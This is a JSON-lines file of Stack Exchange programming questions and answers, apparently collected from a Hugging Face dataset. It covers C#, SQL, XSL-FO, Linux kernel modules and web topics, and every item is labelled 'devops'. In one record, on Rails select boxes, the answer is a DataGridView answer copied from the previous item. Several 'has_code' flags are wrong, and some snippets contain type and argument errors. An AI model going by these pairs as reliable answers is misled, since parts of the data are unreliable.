{"id": "hf_0433579a0103", "question": "<p>How do you add a page break into a document with XSL-FO? I'm using <a href=\"http://xmlgraphics.apache.org/fop/\" rel=\"noreferrer\">Apache FOP</a> to create PDFs, if that makes a difference.</p>\n", "question_body": "", "answer": "The\nFOP compliance page\nsays that it supports\n```\npage-break-after\n```\n,\n```\npage-break-before\n```\n, and\n```\npage-break-inside\n```\nin the later versions, plus partial support for\n```\nkeep-together\n```\n,\n```\nkeep-with-next\n```\n,\n```\nkeep-with-previous\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:46.114944"}
{"id": "hf_febe9c1c9a18", "question": "<p>I have a singleton that uses the \"static readonly T Instance = new T();\" pattern. However, I ran into a case where T is disposable, and actually needs to be disposed for unit tests. How can I modify this pattern to support a disposable singleton?</p>\n\n<p>The interface I would like is something like:</p>\n\n<pre><code>var x = Foo.Instance;\nvar y = Foo.Instance; // x == y\n...\nx.Release(); // this causes the next Foo.Instance to return a fresh object\n             // also, it assumes no further operations on x/y will be performed.\n</code></pre>\n\n<p>Note - the pattern has to be thread-safe, of course.</p>\n\n<p><strong>Edit</strong> - for the purpose of production code, this is a true singleton. The thing is that it locks some files, and so for cleanup in unit tests we have to dispose it.</p>\n\n<p>I would also prefer a pattern that can be reused, if possible.</p>\n", "question_body": "", "answer": "At that point I don't think I'd really consider it to be a singleton any more, to be honest.\nIn particular, if a client uses a singleton they're really not going to expect that they have to dispose of it, and they'd be surprised if someone else did.\nWhat's your production code going to do?\nEDIT: If you really, really need this for unit tests and\nonly\nfor unit tests (which sounds questionable in terms of design, to be frank) then you could always fiddle with the field using reflection. It would be nicer to work out whether it should\nreally\nbe a singleton or whether it should\nreally\nbe disposable though - the two very rarely go together.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:46.174322"}
{"id": "hf_45a6bec4fe85", "question": "<p>Given a FieldInfo object and an object, I need to get the actual bytes representation of the field. I know that the field is either <code>int,Int32,uint,short</code> etc.</p>\n\n<p>How can I get the actual byte representation? BinaryFormatter.Serialize won't help, since it'll give me more information than I need (it also records type name etc.). The <code>Marshal</code> class does not seem to have facilities to use bytes array (but maybe I'm missing something).</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "Use BitConverter.GetBytes()\nYou'll first have to convert the value to it's native type, than use BitConverter to get the bytes:\n```\n```\nbyte[] Bytes;\n\nif (valType == typeof(int))\n{\n    int intVal = (int) GetFieldValue(....);\n    Bytes = BitConverter.GetBytes(intVval);\n} \nelse if (valType == typeof(long))\n{\n    int lngVal = (long) GetFieldValue(....);\n    Bytes = BitConverter.GetBytes(lngVal);\n} else ....\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:46.237591"}
{"id": "hf_d93b862c6aa9", "question": "<p>Is there an easy way to rename a group of files already contained in a directory, using Python?</p>\n\n<p><strong>Example:</strong>   I have a directory full of *.doc files and I want to rename them in a consistent way.</p>\n\n<blockquote>\n  <p>X.doc -> \"new(X).doc\"</p>\n  \n  <p>Y.doc -> \"new(Y).doc\"</p>\n</blockquote>\n", "question_body": "", "answer": "Try:\nhttp://www.mattweber.org/2007/03/04/python-script-renamepy/\nI like to have my music, movie, and\n  picture files named a certain way.\n  When I download files from the\n  internet, they usually don’t follow my\n  naming convention. I found myself\n  manually renaming each file to fit my\n  style. This got old realy fast, so I\n  decided to write a program to do it\n  for me.\nThis program can convert the filename\n  to all lowercase, replace strings in\n  the filename with whatever you want,\n  and trim any number of characters from\n  the front or back of the filename.\nThe program's source code is also available.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:46.261357"}
{"id": "hf_b866ad1e7177", "question": "<p>For a web app I'm working on, I need to know the lat/lon of about 300 US cities.  I also need to know the lat/lon for every US zip code.</p>\n\n<p>Does anyone know of a free source to get this information?</p>\n", "question_body": "", "answer": "Freebase\nwill likely be able to help you.\nHere is New York\nand it has Lat/Long.\nThe\nWal-Mart Expansion video\nused Freebase to get it's data, and it sounds like you're doing something similar.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:46.384479"}
{"id": "hf_18d2db66c688", "question": "<p>Since a lot of email clients ignore the HEAD tag, can I embed an inline stylesheet in the body?</p>\n", "question_body": "", "answer": "The short answer is no. Gmail strips the tag and it's content.\nHotmail, Yahoo! Mail and Windows Live Mail does not strip style-tags in the body-element.\nBut take a look at\n\"The Ultimate Guide to CSS\" for HTML email\nover at Campaign Monitor.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:46.422094"}
{"id": "hf_8ffec19e7005", "question": "<p>I have to add a coupon table to my db. There are 3 types of coupons : percentage, amount or 2 for 1.</p>\n\n<p>So far I've come up with a coupon table that contains these 3 fields. If there's a percentage value not set to null then it's this kind of coupon.</p>\n\n<p>I feel it's not the proper way to do it. Should I create a CouponType table and how would you see it? Where would you store these values?</p>\n\n<p>Any help or cue appreciated!</p>\n\n<p>Thanks,</p>\n\n<p>Teebot</p>\n", "question_body": "", "answer": "You're correct, I think a CouponType table would be fit for your problem.\nTwo tables: Coupons and CouponTypes.  Store the CouponTypeId inside the Coupons table.\nSo for an example, you'll have a Coupon record called \"50% off\", if would reference the percent off CouponType record and from there you could determine the logic to take 50% off the cost of the item.\nSo now you can create unlimited coupons, if it's a dollar amount coupon type it will take the \"amount\" column and treat it as a dollar amount.  If it's a percent off it will treat it as a percentage and if it's an \"x for 1\" deal, it will treat the value as x.\n```\n```\n- Table Coupons\n  - ID\n  - name\n  - coupon_type_id # (or whatever fits your style guidelines)\n  - amount # Example: 10.00 (treated as $10 off for amount type, treated as  \n           # 10% for percent type or 10 for 1 with the final type) \n  - expiration_date\n\n- Table CouponTypes\n  - ID\n  - type # (amount, percent, <whatever you decided to call the 2 for 1> :))\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:46.470968"}
{"id": "hf_4ea789474590", "question": "<p>I'm making a twitter client, and I'm evaluating the various ways of protecting the user's login information.</p>\n\n<p>IMPORTANT: I need to protect the user's data from other other applications. For example imagine what happens if a bot starts going around stealing Twhirl passwords or Hotmail/GMail/Yahoo/Paypal from applications that run on the user's desktop.</p>\n\n<p>Clarification: I asked this before without the 'important' portion but stackoverflow's UI doesn't help with adding details later inside the Q/A conversation.</p>\n\n<ul>\n<li>Hashing apparently doesn't do it</li>\n<li>Obfuscating in a reversable way is like trying to hide behind my finger</li>\n<li>Plain text sounds and propably is promiscuous</li>\n<li>Requiring the user to type in his password every time would make the application tiresome</li>\n</ul>\n\n<p>Any ideas ?</p>\n", "question_body": "", "answer": "This is a catch-22. Either you make the user type in his password every time, or you store it insecurely (obfuscated, encrypted, whatever).\nThe way to fix this is for more operating systems to incorporate built-in password managers - like OS X's Keychain. That way you just store your password in the Keychain, the OS keeps it secure, and the user only has to type in 1 master password. Lots of applications (like Skype) on OS X use Keychain to do exactly what you are describing.\nBut since you are probably using Windows, I'd say just go with some obfuscation and encryption. I think you may be slightly paranoid about the password-stealing-bots; if your application doesn't have a large userbase, odds are pretty low that someone will target it and specifically try to steal the passwords. Besides that, they would also have to have access to their victim's filesystem. If that's the case, they probably have a virus/worm and have bigger problems.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:46.495288"}
{"id": "hf_9fb15254478f", "question": "<p>I'm trying to get a kernel module to load at boot.</p>\n\n<p>If I run <code>insmod /path/to/module.ko</code>, it works fine. But this has to be repeated every time I reboot.</p>\n\n<p>If I run <code>modprobe /path/to/module.ko</code>, it can't find the module.\nI know modprobe uses a configuration file, but I can't get it to load the module even after adding /path/to/module.ko to /etc/modules.</p>\n\n<p>What is the proper configuration?</p>\n", "question_body": "", "answer": "You can make a symbolic link of your module to the standard path, so depmod will see it and you'll be able load it as any other module.\n```\n```\nsudo ln -s /path/to/module.ko /lib/modules/`uname -r`\nsudo depmod -a\nsudo modprobe module\n```\n```\nIf you add the module name to /etc/modules it will be loaded any time you boot.\nAnyway I think that the proper configuration is to copy the module to the standard paths.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:46.531663"}
{"id": "hf_9a652dddebea", "question": "<p>If I have a usercontrol (in Silverlight) that I've written, that uses XAML to define it's appearance, how can I make a customised version of it?</p>\n\n<p>i.e. I have MyControl.xaml &amp; MyControl.xaml.cs</p>\n\n<p>What do I need to do if I want a \"SpecialisedControl\" child class? I assume I just make a new code file, then inherit from MyControl. But what if I want to change the appearance of the base class - then what do I do?</p>\n", "question_body": "", "answer": "I wrote this thinking you were talking about WPF, rather than Silverlight, but there may be enough overlap for this to be helpful, so I'm posting it, anyway.\nIf by \"change the appearance of the base class\" you mean \"provide a new template\", then what you need is probably a CustomControl, not a UserControl.\nThe best way to accomplish this is to follow the example set by other Microsoft controls, such as Button or ListBox:\nCreate a class that derives directly from Control (or whatever is closest to your control).\nIf any properties will need to be exposed to the control (such as text on a button, for example), make sure that you properly define them as DependencyProperties.\nAs described\nhere\n, create a ResourceDictionary called Themes/generic.xaml and add a style for your class that includes a template (don't give the style a key).\nUse TemplateBindings for any properties of elements on your control that need to get values from your control.\nIf you'll need to attach any event handlers to elements in your template, give them a unique name. Microsoft uses the convention of prefixing these names with \"PART_\", and I think it's a good thing to do for the sake of consistency, but it's not strictly required.\nAgain, if you need to attach event handlers, overload OnApplyTemplate(). In this method, you should detach any old event handlers (we certainly don't want any memory leaks!), and look for elements that have the names your provided in your template--when you find them, attach event handlers, as necessary.\nThis is certainly much more work than simply deriving from UserControl, but if you want to be able to totally re-template controls, like you can with the built-in controls, this is the way to do it.\nOn the other hand\n, if all you want to do is to provide a certain amount of limited customization, such as changing the background, or associating a Command with some user action, then the best thing to do is to expose DependencyProperties, which can then be set in styles for your control, or on instances of your control, itself.\nIn the case you mentioned of wanting to customize the look in an inherited control, the process is pretty similar: just add a default style for the new control with a new template; if you need to add more event handlers, just be absolutely certain that you call base.OnApplyTemplate().", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:46.555070"}
{"id": "hf_7000fd2990ce", "question": "<p>Can anyone provide a clear explanation / example of what these functions do, and when it's appropriate to use them?</p>\n", "question_body": "", "answer": "Straight from\nthe manual\n...\nWe know that the foreign keys disallow creation of orders that do not relate to any products. But what if a product is removed after an order is created that references it? SQL allows you to handle that as well. Intuitively, we have a few options:\nDisallow deleting a referenced product\nDelete the orders as well\nSomething else?\n```\n```\nCREATE TABLE order_items (\n product_no integer REFERENCES products ON DELETE RESTRICT,\n order_id integer REFERENCES orders ON DELETE CASCADE,\n quantity integer,\n PRIMARY KEY (product_no, order_id)\n);\n```\n```\nRestricting and cascading deletes are the two most common options. RESTRICT prevents deletion of a referenced row. NO ACTION means that if any referencing rows still exist when the constraint is checked, an error is raised; this is the default behavior if you do not specify anything. (The essential difference between these two choices is that NO ACTION allows the check to be deferred until later in the transaction, whereas RESTRICT does not.) CASCADE specifies that when a referenced row is deleted, row(s) referencing it should be automatically deleted as well. There are two other options: SET NULL and SET DEFAULT. These cause the referencing columns to be set to nulls or default values, respectively, when the referenced row is deleted. Note that these do not excuse you from observing any constraints. For example, if an action specifies SET DEFAULT but the default value would not satisfy the foreign key, the operation will fail.\nAnalogous to ON DELETE there is also ON UPDATE which is invoked when a referenced column is changed (updated). The possible actions are the same.\nedit:\nYou might want to take a look at this related question:\nWhen/Why to use Cascading in SQL Server?\n. The concepts behind the question/answers are the same.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:46.578589"}
{"id": "hf_d2e55859f208", "question": "<p>What compatibility issues have you found when developing with Visual FoxPro 9 on Windows Vista?</p>\n", "question_body": "", "answer": "My company has no current plans to move to vista, so we haven't tested compatability issues yet.   Doug Hennig has an excellent article on the subject however:\nhttp://my.advisor.com/articles.nsf/aid/18897\nThese links describe some issues as well:\nhttp://fox.wikis.com/wc.dll?Wiki~VistaAeroIssues~VFP\nhttp://fox.wikis.com/wc.dll?Wiki~SP2problemwithVistaandBorderstyle~VFP", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:46.615114"}
{"id": "hf_8677606c2e1d", "question": "<p>There are apparently many ways to iterate over a collection. Curious if there are any differences, or why you'd use one way over the other.</p>\n\n<p>First type:</p>\n\n<pre><code>List&lt;string&gt; someList = &lt;some way to init&gt;\nforeach(string s in someList) {\n   &lt;process the string&gt;\n}\n</code></pre>\n\n<p>Other Way:</p>\n\n<pre><code>List&lt;string&gt; someList = &lt;some way to init&gt;\nsomeList.ForEach(delegate(string s) {\n    &lt;process the string&gt;\n});\n</code></pre>\n\n<p>I suppose off the top of my head, that instead of the anonymous delegate I use above, you'd have a reusable delegate you could specify...</p>\n", "question_body": "", "answer": "I guess the\n```\nsomeList.ForEach()\n```\ncall could be easily parallelized whereas the normal\n```\nforeach\n```\nis not that easy to run parallel.\nYou could easily run several different delegates on different cores, which is not that easy to do with a normal\n```\nforeach\n```\n.\nJust my 2 cents", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:46.689521"}
{"id": "hf_39b3e923eee3", "question": "<p>My only problem is making them line up three-across and have equal spacing. Apparently, spans can not have width and divs (and spans with display:block) don't appear horizontally next to each other. Suggestions?</p>\n\n<p><code>&lt;div style='width:30%; text-align:center; float:left; clear:both;'&gt;</code> Is what I have now.</p>\n", "question_body": "", "answer": "You can use divs with the\n```\nfloat: left;\n```\nattribute which will make them appear horizontally next to each other, but then you may need to use clearing on the following elements to make sure they don't overlap.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:46.737908"}
{"id": "hf_e5bd38c22a48", "question": "<p>I have a form which takes both the user details and an image uploaded by them. I want to write the data to a user table and an image table but i am pretty sure that it cannot be done with just two separate insert statements. Any help would be much appreciated.</p>\n", "question_body": "", "answer": "You need to insert the user first, then do \"SELECT LAST_INSERT_ID()\" to retrieve the id of the user. Then you can insert the image in the image table with the newly created user id. In PHP you can actually use\nmysql_insert_id()\nto retrieve the new id. If you use mysql with InnoDB, you can also wrap the inserts in a\ntransaction\n, by issuing BEGIN, followed by the INSERTs, followed by either COMMIT if everything is successfully added, or ROLLBACK in case of failure.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:46.761839"}
{"id": "hf_6a4004705848", "question": "<p>I've seen <a href=\"http://msdn.microsoft.com/en-us/library/7tas5c80.aspx\" rel=\"nofollow noreferrer\">How to: Host Controls in Windows Forms DataGridView Cells</a> which explains how to host a control for editing a cell in a DataGridView.  But how can I host a control for displaying a cell?</p>\n\n<p>I need to display a file name and a button in the same cell.  Our UI designer is a graphic designer not a programmer, so I have to match the code to what he's drawn, whether it's possible - or wise - or not.  We're using VS2008 and writing in C# for .NET 3.5, if that makes a difference.</p>\n\n<p>UPDATE: The 'net suggests creating a custom DataGridViewCell which hosts a panel as a first step; anyone done that?</p>\n", "question_body": "", "answer": "As per your \"UPDATE\", creating a custom\n```\nDataGridViewCell\n```\nis the way this is done. I've done it, and it doesn't require that much modification from the example code available from the MSDN. In my case, I needed a bunch of custom editing controls, so I ended up inheriting from\n```\nDataGridViewTextBoxCell\n```\nand\n```\nDataGridViewColumn\n```\n. I inserted into my class (the one inherited from\n```\nDataGridViewTextBoxCell\n```\n) a new custom control which implemented\n```\nIDataGridViewEditingControl\n```\n, and it all just worked.\nI suppose that in your case, you could write a\n```\nPanelDataGridViewCell\n```\nwhich would contain a control\n```\nMyPanelControl\n```\nwhich would inherit from Panel and implement\n```\nIDataGridViewEditingControl\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:46.786040"}
{"id": "hf_404d56114b04", "question": "<p>I have a partial that renders a select box using the following method:</p>\n\n<pre><code>&lt;%= collection_select 'type', 'id', @types, \"id\", \"name\", \n  {:prompt =&gt; true}, \n  {:onchange =&gt; \n              remote_function(\n              :loading =&gt; \"Form.Element.disable('go_button')\",\n              :url =&gt; '/sfc/criteria/services', \n              :with =&gt; \"'type_id=' + encodeURIComponent(value) + '&amp;use_wizard=#{use_wizard}'\"),\n    :class =&gt; \"hosp_select_buttons\"\n} %&gt;\n</code></pre>\n\n<p>This partial gets used 2 times on every page, but at one point I need to get the value of the first select box. Using:</p>\n\n<pre><code>$('type_id')\n</code></pre>\n\n<p>returns the second select box. Is there a way to find the first one easily? Should I fix this using javascript or by redoing my partial?</p>\n\n<p>Note: the dropdowns do get rendered in separate forms.</p>\n", "question_body": "", "answer": "As per your \"UPDATE\", creating a custom\n```\nDataGridViewCell\n```\nis the way this is done. I've done it, and it doesn't require that much modification from the example code available from the MSDN. In my case, I needed a bunch of custom editing controls, so I ended up inheriting from\n```\nDataGridViewTextBoxCell\n```\nand\n```\nDataGridViewColumn\n```\n. I inserted into my class (the one inherited from\n```\nDataGridViewTextBoxCell\n```\n) a new custom control which implemented\n```\nIDataGridViewEditingControl\n```\n, and it all just worked.\nI suppose that in your case, you could write a\n```\nPanelDataGridViewCell\n```\nwhich would contain a control\n```\nMyPanelControl\n```\nwhich would inherit from Panel and implement\n```\nIDataGridViewEditingControl\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:46.813385"}
{"id": "hf_008f1443b80e", "question": "<p>Have you ever tried this before?</p>\n\n<pre><code>static void Main(string[] args)\n{\n    int x = 10;\n    x = x++;\n    Console.WriteLine(x);\n}\n</code></pre>\n\n<p>Output: 10.</p>\n\n<p>but for </p>\n\n<pre><code>static void Main(string[] args)\n{\n    int x = 10;\n    x++;\n    Console.WriteLine(x);\n}\n</code></pre>\n\n<p>Output: 11.</p>\n\n<p>Could anyone explain why this?</p>\n", "question_body": "", "answer": "X++ will increment the value, but then return its old value.\nSo in this case:\n```\n```\nstatic void Main(string[] args)\n{\n    int x = 10;\n    x = x++;\n    Console.WriteLine(x);\n}\n```\n```\nYou have X at 11 just for a moment, then it gets back to 10 because 10 is the return value of (x++).\nYou could instead do this for the same result:\n```\n```\nstatic int plusplus(ref int x)\n{\n  int xOld = x;\n  x++;\n  return xOld;\n}\n\nstatic void Main(string[] args)\n{\n    int x = 10;\n    x = plusplus(x);\n    Console.WriteLine(x);\n}\n```\n```\nIt is also worth mentioning that you would have your expected result of 11 if you would have done:\n```\n```\nstatic void Main(string[] args)\n{\n    int x = 10;\n    x = ++x;\n    Console.WriteLine(x);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:46.861499"}
{"id": "hf_afda82b72304", "question": "<p>I am learning to use LabVIEW as part of my honours project, and was wondering what benefits the graphical programming language has over a textual one?</p>\n", "question_body": "", "answer": "I've used labview before for calculating parameters to tune an nMRI machine.  They exist because in theory it is easier for someone with little programming language experience create a program.  The control flow and decision structures can be arranged graphically and they can type in their formula's where they want.\nFor professors and lab assistants...helpful.\nFor real software developers...it would be easier to write in another language.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:46.885602"}
{"id": "hf_24b4ecf8a65d", "question": "<p>As part of our build process we run a database update script as we deploy code to 4 different environments. Further, since the same query will get added to until we drop a release into production it <em>has</em> to be able to run multiple times on a given database.  Like this:</p>\n\n<pre><code>IF NOT EXISTS (SELECT * FROM sys.tables WHERE object_id = OBJECT_ID(N'[Table]'))\nBEGIN\n  CREATE TABLE [Table]\n  (...)\nEND\n</code></pre>\n\n<p>Currently I have a create schema statement in the deployment/build script.  Where do I query for the existence of a schema?</p>\n", "question_body": "", "answer": "Are you looking for\nsys.schemas\n?\n```\n```\nIF NOT EXISTS (SELECT * FROM sys.schemas WHERE name = 'jim')\nBEGIN\nEXEC('CREATE SCHEMA jim')\nEND\n```\n```\nNote that the\n```\nCREATE SCHEMA\n```\nmust be run in its own batch (per\nthe answer below\n)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:46.909511"}
{"id": "hf_88c3b10c602c", "question": "<p>I am trying to use <code>ResourceBundle#getStringArray</code> to retrieve a <code>String[]</code> from a properties file. The description of this method in the documentation reads:</p>\n\n<blockquote>\n  <p>Gets a string array for the given key from this resource bundle or one of its parents.</p>\n</blockquote>\n\n<p>However, I have attempted to store the values in the properties file as multiple individual key/value pairs:</p>\n\n<pre><code>key=value1\nkey=value2\nkey=value3\n</code></pre>\n\n<p>and as a comma-delimited list:</p>\n\n<pre><code>key=value1,value2,value3\n</code></pre>\n\n<p>but neither of these is retrievable using <code>ResourceBundle#getStringArray</code>.</p>\n\n<p>How do you represent a set of key/value pairs in a properties file such that they can be retrieved using <code>ResourceBundle#getStringArray</code>?</p>\n", "question_body": "", "answer": "Umm, looks like this is a common problem, from threads\nhere\nand\nhere\n.\nIt seems either you don't use the method and parse the value for an array yourself or you write your own ResourceBundle implementation and do it yourself :(.  Maybe there is an apache commons project for this...\nFrom the JDK source code, it seems the PropertyResourceBundle does not support it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:46.933389"}
{"id": "hf_0a805d8473a9", "question": "<blockquote>\n  <p><strong>Possible Duplicate:</strong><br>\n  <a href=\"https://stackoverflow.com/questions/5436139/when-will-c0x-be-finished\">When will C++0x be finished?</a>  </p>\n</blockquote>\n\n\n\n<p>What are the latest news about C++0X? (or should I say C++1X) Any release date decided yet?</p>\n", "question_body": "", "answer": "A new\ndraft\ncame out recently, so things are progressing. From this draft to the finalized version, it should be no more than a year before things are finalized. I should note that this draft is the feature-complete version; from here on it should only be revisions. I was just made aware, however, that the path from draft to actual, published, standard is a very long road. I'll push my estimate of a published, accepted standard out to 2010.\nHow long until we have full compiler compliance? That is a different story. GCC is making good progress on the language features that aren't libraries (see\nlist of features they have implemented\n), but has no mention of progress on the concurrency features. I can't say anything for when MSVC/dinkumware/whatever other compilers you may use will start implementing things like lambda.\nBoost already has much of TR1 implemented, and dinkumware has it all, so you can start using the new libraries already (maybe not in their final form, however).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:46.982164"}
{"id": "hf_9af5c864a52d", "question": "<p>How do I load a true color image into a CImageList?</p>\n\n<p>Right now I have</p>\n\n<pre><code>mImageList.Create(IDB_IMGLIST_BGTASK, 16, 1, RGB(255,0,255));\n</code></pre>\n\n<p>Where <code>IDB_IMGLIST_BGTASK</code> is a 64x16 True color image.  The ClistCtrl I am using it in shows 16 bpp color.  I don't see a Create overload that allows me to specify both the bpp and the resource to load from.</p>\n", "question_body": "", "answer": "Needs 4 lines of code, but this works:\n```\n```\nCBitmap bm;\nbm.LoadBitmap(IDB_IMGLIST_BGTASK);\nmImageList.Create(16, 16, ILC_COLOR32 | ILC_MASK, 4, 4);\nmImageList.Add(&bm, RGB(255,0,255));\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:47.006270"}
{"id": "hf_944ad6e621da", "question": "<p>I realise this is not the ideal place to ask about this in terms of searchability, but I've got a page whose JavaScript code throws \"Stack overflow in line 0\" errors when I look at it in Internet Explorer.</p>\n\n<p>The problem is quite clearly not in line 0, but somewhere in the list of stuff that I'm writing to the document. Everything works fine in Firefox, so I don't have the delights of Firebug and friends to assist in troubleshooting.</p>\n\n<p>Are there any standard causes for this? I'm guessing this is probably an Internet Explorer 7 bug or something quite obscure, and my <a href=\"http://en.wiktionary.org/wiki/Google-fu\" rel=\"nofollow noreferrer\">Google-fu</a> is bringing me little joy currently. I can find lots of people who have run into this before, but I can't seem to find how they solved it.</p>\n", "question_body": "", "answer": "You can turn\noff\nthe\n```\n\"Disable Script Debugging\"\n```\noption inside of Internet Explorer and start debugging with\n```\nVisual Studio\n```\nif you happen to have that around.\nI've found that it is one of few ways to diagnose some of those\n```\nIE\n```\nspecific issues.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:47.066960"}
{"id": "hf_ff7ff4dfac3f", "question": "<p>I've been reading about \"web services\" here on SO, on Wikipedia, Google, etc., and I don't quite understand what they are.  What is the plain English definition/description?</p>\n\n<p>If I make a simple website using PHP that just, say, prints a random integer to the page... is this a \"web service\"?  If not, why not?</p>\n", "question_body": "", "answer": "Yes that is a simple web service.\nWeb services are really nothing more than a request/ response mechanism that allows a client to remotely access/ modify data. There are formal standards for web services (SOAP, SOA etc), but your simple page is a service too.\nThe main downside to printing it to a page is that your service would return HTML. Preferable data formats are JSON and XML, because most client frameworks (and server frameworks) are designed around using JSON and XML.\nSo if you modified your service to return:\n```\n```\n<RANDOM>some random number</RANDOM>\n```\n```\nrather than:\n```\n```\n<HEAD>...</HEAD>  \n<BODY>some random number</BODY>\n```\n```\nthen it would be more useful to most clients", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:47.119098"}
{"id": "hf_f28ff781a09b", "question": "<p>What are the differences between a wiki and a CMS?  Is there any?</p>\n", "question_body": "", "answer": "Typically a Wiki is community editable, visitors to the site can edit it, take Wikipedia for example.  A CMS is more designed typially, for a set of site administrators to manage and display content.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:47.170930"}
